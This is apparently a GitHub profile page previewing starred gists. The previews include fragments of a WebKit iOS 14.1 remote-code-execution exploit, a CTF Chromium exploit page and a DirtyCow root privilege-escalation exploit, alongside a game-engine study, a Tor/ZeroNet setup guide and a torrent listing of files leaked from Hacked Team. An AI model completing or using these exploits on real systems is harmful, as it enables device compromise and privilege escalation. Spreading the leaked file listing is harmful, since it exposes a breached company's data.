Skip to content

Instantly share code, notes, and snippets.

View EXHades's full-sized avatar

EXHades

  • Gensokyo
View GitHub Profile
@ujin5
ujin5 / fuck.js
Last active August 14, 2024 21:56
WebKit RCE on ios 14.1
function sleep( sleepDuration ){
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let data_view = new DataView(new ArrayBuffer(8));
@ujin5
ujin5 / exploit.html
Created June 29, 2020 02:20
0CTF/TCTF 2020 Quals Chromium
<script id="worker1">
worker:{
if (typeof window === 'object') break worker;
self.onmessage = function() {
console.log("onmessage")
}
}
</script>
<script src="../mojo_bindings.js"></script>
<script src="../third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
@raysan5
raysan5 / custom_game_engines_small_study.md
Last active October 17, 2024 21:25
A small state-of-the-art study on custom engines

CUSTOM GAME ENGINES: A Small Study

a_plague_tale

A couple of weeks ago I played (and finished) A Plague Tale, a game by Asobo Studio. I was really captivated by the game, not only by the beautiful graphics but also by the story and the locations in the game. I decided to investigate a bit about the game tech and I was surprised to see it was developed with a custom engine by a relatively small studio. I know there are some companies using custom engines but it's very difficult to find a detailed market study with that kind of information curated and updated. So this article.

Nowadays lots of companies choose engines like Unreal or Unity for their games (or that's what lot of people think) because d

anonymous
anonymous / shadowsocks_tor_zeronet
Created November 20, 2016 12:18
Shadowsocks 作为前置代理,通过 Tor 匿名使用 ZeroNet(备忘)
# 声明:此备忘只供参考,并非权威方法,请参阅 Tor 和 ZeroNet 的安装和配置手册
# Tor 相关 FAQ 见 http://*.*.*.*:43110/gfwtalk.bit/?Topic:37_13Z7XxTa7JuFat3KzzMWu3onwM6biLuurJ/+FAQ+6+1+Update+Freenet+VPS+ZeroNet+com+bit
# ZeroNet 集成的 Tor 版本并没有及时更新,现在最新版是 0.2.9.x
# 适用 Debian/Ubuntu/raspberryPi 等系统
# 按照 Tor 官方文档安装最新版 Tor https://www.torproject.org/docs/debian.html.en#ubuntu
# 墙内使用 Tor 需要前置代理,推荐使用 Shadowsocks 作为前置代理,默认本地代理端口 1080
# Tor 和 Shadowsocks 准备就绪后修改 /etc/tor/torrc 文件
vi /etc/tor/torrc
@KrE80r
KrE80r / c0w.c
Created October 23, 2016 15:19
PTRACE_POKEDATA variant of CVE-2016-5195
/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
*
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
This file has been truncated, but you can view the full file.
../eyyxo.torrent:
Name: Hacked Team
Size: 415768052618 (387G)
Announce: udp://coppersurfer.tk:6969/announce
Files:
Amministrazione/01 - CLIENTI/1 - Commesse/1 - Commesse 2011/Commessa001.2011 Royal.xls 59392 (58K)
Amministrazione/01 - CLIENTI/1 - Commesse/1 - Commesse 2011/Commessa002.2011 Royal.xls 59392 (58K)
Amministrazione/01 - CLIENTI/1 - Commesse/1 - Commesse 2011/Commessa003.2011 Royal.xls